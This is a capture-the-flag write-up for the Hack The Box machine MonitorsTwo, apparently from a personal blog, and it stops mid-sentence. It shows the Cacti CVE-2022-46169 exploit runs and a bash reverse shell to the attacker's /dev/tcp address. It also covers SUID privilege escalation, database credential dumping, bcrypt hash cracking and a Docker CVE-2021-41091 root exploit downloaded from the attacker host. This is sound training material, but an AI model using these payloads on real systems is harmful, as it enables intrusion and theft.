HTB - MonitorsTwo
Overview
MonitorsTwo is an Easy Difficulty Linux machine showcasing a variety of vulnerabilities and misconfigurations.
Initial foothold: Initial enumeration exposes a web application prone to pre-authentication Remote Code Execution (RCE) through a malicious X-Forwarded-For header. Exploiting this vulnerability grants a shell within a Docker container.
Privilege escalation (1): A misconfigured capsh binary with the SUID bit set allows for root access inside the container.
Lateral movement: Uncovering MySQL credentials enables the dumping of a hash, which, once cracked, provides SSH access to the machine.
Privilege escalation (2): Further enumeration reveals a vulnerable Docker version that permits a low-privileged user to access mounted container filesystems. Leveraging root access within the container, a bash binary with the SUID bit set is copied, resulting in privilege escalation on the host.
Information gathering
Port-scanning with Nmap:
1
2
3
4
5
6
7
sudo nmap -sS -A -Pn --min-rate 10000 -p- 10.10.11.211
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
Info from Nmap’s output:
nginx 1.18.0
web server listening, seems a login portal.- SSH server listening, but we need creds for using it.
Initial Foothold
Homepage:
We have the app’s version: Cacti 1.2.22
, so before doing anything else let’s search for known vulnerabilities:
We have 4/4 references for the same RCE vulnerability: CVE-2022-46169!
Vulnerability: The exploit consists of accessing the vulnerable /remote_agent.php
endpoint, whose authentication can be bypassed due to a weak implementation of the get_client_addr
function that uses a user-controlled header, namely X-Forwarded-For
, to authenticate the client. Once that initial check is bypassed, we then trigger the poll_for_data
function via the polldata
action, which is vulnerable to command injection via the $poller_id
parameter that is passed to proc_open
, a PHP function that executes system commands.
Let’s try this PoC:
1
2
3
# setting up a listener
$ nc -lvnp 1337
listening on [any] 1337 ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# clone the git repo
$ sudo git clone https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22
Cloning into 'CVE-2022-46169-CACTI-1.2.22'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 18 (delta 4), reused 4 (delta 1), pack-reused 0
Receiving objects: 100% (18/18), 5.07 KiB | 2.53 MiB/s, done.
Resolving deltas: 100% (4/4), done.
$ cd CVE-2022-46169-CACTI-1.2.22/
$ python3 CVE-2022-46169.py -u http://10.10.11.211/ --LHOST=10.10.14.33 --LPORT=1337
Checking...
The target is vulnerable. Exploiting...
Bruteforcing the host_id and local_data_ids
Bruteforce Success!!
1
2
3
4
5
6
7
# catching the reverse shell
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.33] from (UNKNOWN) [10.10.11.211] 39056
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$
That was fast and easy!
Privilege escalation (1)
After enumerating different directories and files, nothing interesting pops up. The only think to note is that we are within a docker
container as indicated by the /.dockerenv
file, and it also apparent from our hostname, i.e., www-data@50bca5e748b0
:
1
2
3
4
5
6
www-data@50bca5e748b0:/var/www/html$ ls -la /
total 88
drwxr-xr-x 1 root root 4096 Mar 21 2023 .
drwxr-xr-x 1 root root 4096 Mar 21 2023 ..
-rwxr-xr-x 1 root root 0 Mar 21 2023 .dockerenv
drwxr-xr-x 1 root root 4096 Mar 22 2023 bin
We can check if there is anything interesting that can be run with elevated privs:
1
2
3
4
5
6
7
8
9
10
11
www-data@50bca5e748b0:/var/www/html$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/sbin/capsh
/bin/mount
/bin/umount
/bin/su
There is the binary capsh
which stands out. Doing a quick search on GTFOBins we get this:
Let’s follow GFTO’s guidance:
1
2
3
4
www-data@50bca5e748b0:/var/www$ /sbin/capsh --gid=0 --uid=0 --
/sbin/capsh --gid=0 --uid=0 --
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
And we got root…but no flag yet as we are still in a containerized shell!
Lateral movement
When listing the files in the root directory (/
), we see a script called entrypoint.sh
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ls -l
total 76
drwxr-xr-x 1 root root 4096 Mar 22 2023 bin
drwxr-xr-x 2 root root 4096 Mar 22 2023 boot
drwxr-xr-x 5 root root 340 Jan 25 14:34 dev
-rw-r--r-- 1 root root 648 Jan 5 2023 entrypoint.sh
<SNIP>
cat entrypoint.sh
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
We see multiple mysql
commands executed as root
. The script also reveals that the username admin
exists and the password-related field must_change_password
is on the user_auth
table.
Since, we have root, we can dump the user_auth
’s data and see what else it contains:
1
2
3
4
5
$ mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth"
id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms
1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson admin@monitorstwo.htb 1 on on on on on 2 11 1 1 on -1 -1 -1 0 0 663348655
3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1-1 0 0 0
4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune marcus@monitorstwo.htb on on on on 1 11 1 1 on -1 -1 on 0 0 2135691668
We got two pair of creds:
admin:$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
Let’s try to crack those on our attack host using john
:
1
2
3
4
5
6
7
8
9
10
11
12
$ cat hashes
$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
$ john hashes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey (?)
Since we got some creds, marcus:funkymonkey
, we can try to SSH into our target:
1
2
3
ssh marcus@10.10.11.211
marcus@monitorstwo:~$ cat user.txt
<SNIP>
Privilege escalation (2)
After going through numerous directories and files, we finally find something interesting:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
marcus@monitorstwo:/var$ cat mail/marcus
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of
Dear all,
We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.
CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.
CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.
We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.
Best regards,
Administrator
CISO
Monitor Two
Security Team
Let’s check the vulnerabilities one by one. CVE-2021-33033 refers to kernel version before 5.11.14
, so let’s see what we have at the moment:
1
2
marcus@monitorstwo:/var$ uname -a
Linux monitorstwo 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
Although this seems an outdated version, the 5.4
release series is actually the latest one according to the official documentation:
CVE-2020-25706 is an XSS vulnerability for Cacti 1.2.13
and the target app’s version is Cacti 1.2.22
. So, we have left with just the last one: CVE-2021-41091, which refers to docker
’s engine Moby 20.10.9
version.
Let’s check docker
’s version:
1
2
marcus@monitorstwo:/var$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88
Docker’s version is 20.10.5
, thus, we should be able to exploit this vulnerability. After searching for PoCs, we find this one.
Vulnerability: Several dirs within /var/lib/docker
, which are mounted on and utilized by docker
containers, are accessible by low-privileged users. This implies that if an attacker gains root
access inside a container, they could create arbitrary SUID
files that an unprivileged user outside the container could interact with and use for privilege escalation.
So what we need to is:
- Repeat our initial foothold process by using CVE-2022-46169 to gain RCE and privesc via the
capsh
binary. - Issue the appropriate permissions to the
bash
binary with thechmod u+s /bin/bash
command. - Clone CVE-2021-41091’s PoC on our attack host, transfer the bash script (
exp.sh
) on the target usingmarcus
account via the SSH, and execute it using themarcus
user.
Repeat our foothold and gain root within the container:
1
2
3
4
5
6
7
# gaining root access within the container
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# assigning suid permission to the bash binary
chmod u+s /bin/bash
From our attack host:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
```bash
# clone the repo on the attack host
$ sudo git clone https://github.com/UncleJ4ck/CVE-2021-41091
[sudo] password for kali:
Cloning into 'CVE-2021-41091'...
remote: Enumerating objects: 25, done.
remote: Counting objects: 100% (25/25), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 25 (delta 6), reused 3 (delta 0), pack-reused 0
Receiving objects: 100% (25/25), 6.95 KiB | 6.96 MiB/s, done.
Resolving deltas: 100% (6/6), done.
# move within the directory
$ cd CVE-2021-41091/
# checking permissions
$ ls -l
total 8
-rwxr-xr-x 1 root root 2446 Jan 25 18:18 exp.sh
-rw-r--r-- 1 root root 2616 Jan 25 18:18 README.md
# start a Python HTTP server
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.211 - - [25/Jan/2024 18:19:47] "GET /exp.sh HTTP/1.1" 200 -
```
From marcus
’s terminal:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# download the script
marcus@monitorstwo:~$ wget http://10.10.14.33:8000/exp.sh
--2024-01-25 18:19:47-- http://10.10.14.33:8000/exp.sh
Connecting to 10.10.14.33:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2446 (2.4K) [text/x-sh]
Saving to: ‘exp.sh’
exp.sh 100%[========================>] 2.39K --.-KB/s in 0s
2024-01-25 18:19:47 (356 MB/s) - ‘exp.sh’ saved [2446/2446]
# assign execute permissions
marcus@monitorstwo:~$ chmod +x exp.sh
# confirm permissions
marcus@monitorstwo:~$ ls -l exp.sh
total 8
-rwxrwxr-x 1 marcus marcus 2446 Jan 25 18:18 exp.sh
# execute the script
marcus@monitorstwo:~$ ./exp.sh
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)
Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'
[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didnt spawn a shell go to this path and execute './bin/bash -p'
[!] Spawning Shell
bash-5.1# exit
# change to the above mentioned 'Current Vulnerable Path'
marcus@monitorstwo:~$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
# execute the command './bin/bash -p'
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus)
bash-5.1# cat /root/root.txt
<SNIP>
Extra - Manual exploitation
Based on IppSec’s video walkthrough.
Initial foothold
We can manually perform CVE-2022-46169. Let’s remember what needs to be done (based on Rapid7’s post):
- If
LOCAL_DATA_ID
and/orHOST_ID
are not set, the module will try to bruteforce the missing value(s). If a valid combination is found, the module will use these to attempt exploitation. - If
LOCAL_DATA_ID
and/orHOST_ID
are both set, the module will immediately attempt exploitation. - During exploitation, the module sends a
GET
request to/remote_agent.php
with the action parameter set topolldata
and theX-Forwarded-For
header set to the provided value forX_FORWARDED_FOR_IP
(by default127.0.0.1
).
We can start by intercepting a request via Burp, for example, a POST
login request using random creds, change the HTTP method to GET
request and the URL to /remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}
:
The URL path can be found here.
We get the error FATAL: You are not authorized to use this service
. Let’s start by adding the X-Forwarded-For
header with the value of localhost
and see what happens:
This time, we did not get a FATAL
error, but a Validation error
regarding the host_id
parameter. Let’s remove the variables, set all IDs to 1
, and try a simple payload, such as sleep 5
:
The
sleep+5
payload is the URL-encoded version ofsleep 5
payload.
We get no errors back, but the payload did not work either. That makes sense because based on the vulnerability’s descrition:
If a valid combination is found, the module will use these to attempt exploitation.
Thus, we need to brute force the local_data_id
and host_id
parameters, until we we find a valid combination of values that will make our payload to work. We can do that using Intruder:
Both payload
1
and2
are defined as a sequential list of numbers from1
to10
.
Intruder shows that just one combination of payloads resulted in a delay of 5 secs (caused by our sleep+5
payload): local_data_ids[]=6
and host_id=1
! Let’s confirm that manually:
What happens here is that some values of the HTTP reponse rdd_name
parameter are exploitable: uptime
is one of them (we can find the full list of the exloitable parameters here). So, we brute-forcing the local_data_id
and host_id
parameters until one combination of them returns one of the exploitable parameters in the response:
Now that we have found the right combination of parameter values, we can pass some reverse shell code as a payload, such as bash -c 'bash -i >& /dev/tcp/10.10.14.6/1337 0>&1'
, URL-encode it (by pressing CTRL+U
), open a listener on our attack host, and sent the request:
1
2
3
4
# setting up a listener
$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.211] 36722
1
2
3
4
5
6
7
# catching the revese shell
$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.211] 36722
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$
Lateral movement
Ideally, we should first stabilize our shell. Python is not installed on the target, thus, we can’t use the pty
module to achieve that. However, we can use script
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# shell stabilization using script
www-data@50bca5e748b0:/var/www/html$ which script
which script
/usr/bin/script
www-data@50bca5e748b0:/var/www/html$ script -O /dev/null -q /bin/bash
script -O /dev/null -q /bin/bash
$ bash
bash
www-data@50bca5e748b0:/var/www/html$ ^Z
[1]+ Stopped nc -lvnp 1337
┌──(kali㉿CSpanias)-[~]
└─$ stty raw -echo; fg
nc -lvnp 1337
www-data@50bca5e748b0:/var/www/html$
We now need to get the values for the rows
and cols
variables from our attack host:
1
2
3
4
5
6
7
$ stty -a
speed 38400 baud; rows 51; columns 209; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel -iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc
And finally, we need to set the same values on our target:
1
2
www-data@50bca5e748b0:/var/www/html$ stty rows 51 cols 209
www-data@50bca5e748b0:/var/www/html$ export TERM=xterm
We now have our initial foothold with a proper bash shell! Since this is a web app server, we should probably check for database configuration files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# searching for configuration files
www-data@50bca5e748b0:/var/www/html$ find . | grep config
./include/config.php
./docs/images/graphs-edit-nontemplate-configuration.png
./docs/apache_template_config.html
# searching for database-related strings within the configuration file
www-data@50bca5e748b0:/var/www/html$ grep database include/config.php
* Make sure these values reflect your actual database/host/user/password
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
#$rdatabase_type = 'mysql';
#$rdatabase_default = 'cacti';
#$rdatabase_hostname = 'localhost';
#$rdatabase_username = 'cactiuser';
#$rdatabase_password = 'cactiuser';
#$rdatabase_port = '3306';
#$rdatabase_retries = 5;
#$rdatabase_ssl = false;
#$rdatabase_ssl_key = '';
#$rdatabase_ssl_cert = '';
#$rdatabase_ssl_ca = '';
* Save sessions to a database for load balancing
* are defined in lib/database.php
The configuration file above contains all we need in order to connect to the database server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# connecting to the mysql server
www-data@50bca5e748b0:/var/www/html$ mysql -u root -proot -h db
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 221
Server version: 5.7.40 MySQL Community Server (GPL)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
# listing databases
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| cacti |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.002 sec)
# selecting database
MySQL [(none)]> use cacti;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
# listing databases's tables
MySQL [cacti]> show tables;
+-------------------------------------+
| Tables_in_cacti |
+-------------------------------------+
<SNIP>
| user_auth |
| user_auth_cache |
| user_auth_group |
| user_auth_group_members |
| user_auth_group_perms |
| user_auth_group_realm |
| user_auth_perms |
| user_auth_realm |
| user_domains |
| user_domains_ldap |
| user_log |
| vdef |
| vdef_items |
| version |
+-------------------------------------+
111 rows in set (0.001 sec)
# dumping the first row of the table to enumarate its fields
MySQL [cacti]> SELECT * FROM user_auth LIMIT 1 \G;
*************************** 1. row ***************************
id: 1
username: admin
password: $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
realm: 0
full_name: Jamie Thompson
email_address: admin@monitorstwo.htb
must_change_password:
password_change: on
show_tree: on
show_list: on
show_preview: on
graph_settings: on
login_opts: 2
policy_graphs: 1
policy_trees: 1
policy_hosts: 1
policy_graph_templates: 1
enabled: on
lastchange: -1
lastlogin: -1
password_history: -1
locked:
failed_attempts: 0
lastfail: 0
reset_perms: 663348655
1 row in set (0.000 sec)
ERROR: No query specified
# select the fields of interest of all users from the table
MySQL [cacti]> SELECT username, password FROM user_auth ;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |
| guest | 43e9a4ab75570f5b |
| marcus | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |
+----------+--------------------------------------------------------------+
3 rows in set (0.001 sec)
We can now try to crack these hashes in our attack host by first using hashcat
’s autodetect mode to find out the hash type:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cat hashes
admin:$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
# using hashcat's autodetect mode
$ hashcat hashes /usr/share/wordlists/rockyou.txt --username
hashcat (v6.2.6) starting in autodetect mode
<SNIP>
The following 4 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+========================
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
Please specify the hash-mode with -m [hash-mode].
Started: Fri Jan 26 06:42:36 2024
Stopped: Fri Jan 26 06:42:38 2024
Our hashes start with $2y$
, which resemble bcrypt
format for OSs, so we will choose the mode 3200
:
1
2
3
4
5
6
7
8
9
10
11
12
$ hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt --username
<SNIP>
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: hashes
Time.Started.....: Fri Jan 26 06:46:23 2024 (7 mins, 57 secs)
Time.Estimated...: Tue Jan 30 09:23:44 2024 (4 days, 2 hours)
After about 8 minutes, it managed to crack one! Let’s see for which user:
1
2
$ hashcat -m 3200 --username --show hashes
marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey
We can now use these creds, marcus:funkymonkey
, for logging into SSH:
1
2
3
4
5
6
7
$ ssh marcus@10.10.11.211
marcus@10.10.11.211's password:
<SNIP>
You have mail.
Last login: Thu Mar 23 10:12:28 2023 from 10.10.14.40
marcus@monitorstwo:~$
Privilege escalation
Upon logging into SSH, we see the notification You have mail.
! Let’s go check it, after grabbing our user flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
marcus@monitorstwo:~$ cat user.txt
<SNIP>
marcus@monitorstwo:~$ ls /var/mail/
marcus
marcus@monitorstwo:~$ cat /var/mail/marcus
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of
Dear all,
We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.
CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.
CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.
We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.
Best regards,
Administrator
CISO
Monitor Two
Security Team
The above email let us know about 3 CVEs, so let’s check them in sequence:
CVE-2021-33033 refers to a kernel vulnerability, so first we need to see our target’s kernel:
1
2
marcus@monitorstwo:~$ uname -a
Linux monitorstwo 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
This is a 2021
vulnerability for versions before 5.11.14
. Our version a more recent one (although 5.4.0-147
seems older than 5.11.14
, but that’s due to conventions) and we can also see from the output that the email was compiled 2 years after the discovery of this vulnerability, i.e., UTC 2023
!
CVE-2020-25706 is an XSS vulnerability for Cacti 1.2.13
and the target app’s version is Cacti 1.2.22
. What’s more, we have already exploited this service!
We have left with just the last one: CVE-2021-41091, which refers to docker
’s engine Moby 20.10.9
version.
1
2
3
# checking docker's verion
marcus@monitorstwo:~$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88
Docker’s version seems to vulnerable! We can list all the docker
directories as follows:
The vulnerability description refers to directories under
/var/lib/docker/
, so we are only interested in those.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# listing docker's containers
marcus@monitorstwo:~$ findmnt
TARGET SOURCE FSTYPE OPTIONS
<SNIP>
│ nsfs rw
├─/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
│ overlay overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI5TXU76FU:/var/lib/docker/overlay2/l/XKE4ZK5GJUTHXKVYS4MQMJ3NOB:/var/lib/docker/over
├─/var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm
│ shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k
├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
│ overlay overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/overlay2/l/Z4RNRWTZKMXNQJVSRJE4P2JYHH:/var/lib/docker/over
└─/var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm
shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k
We must figure out which one is associated with the Cacti
app, since our containerized shell session is within that. We can do that by creating a file from within our containerized shell session (our initial foothold), and then check if this file is available from outside the container with marcus
.
1
2
3
# move to the tmp directory and create a file
www-data@50bca5e748b0:/var/www/html$ cd /tmp
www-data@50bca5e748b0:/tmp$ touch test
The heaviest contents are usually images and if the default storage driver overlay2
is used, then these Docker images are stored in /var/lib/docker/overlay2
(freecodecamp). Therefore, we really need to check just 2 out of the 4 container paths found above:
We can check each these 2 containers in sequence to see which one contains the test
file:
1
2
3
4
marcus@monitorstwo:~$ ls -l /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/tmp/test
ls: cannot access '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/tmp/test': No such file or directory
marcus@monitorstwo:~$ ls -l /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/test
-rw-r--r-- 1 www-data www-data 0 Jan 26 08:00 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/test
The Cacti container is: c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1
. Now, we need to assign SUID
permissions to /bin/bash
, so marcus
can execute it from outside and gain a root
shell. In order to do that, we need to first escalate our privileges within the container.
Let’s search for SUID
files:
1
2
3
4
5
6
7
8
9
10
www-data@50bca5e748b0:/tmp$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/sbin/capsh
/bin/mount
/bin/umount
/bin/su
The /sbin/capsh
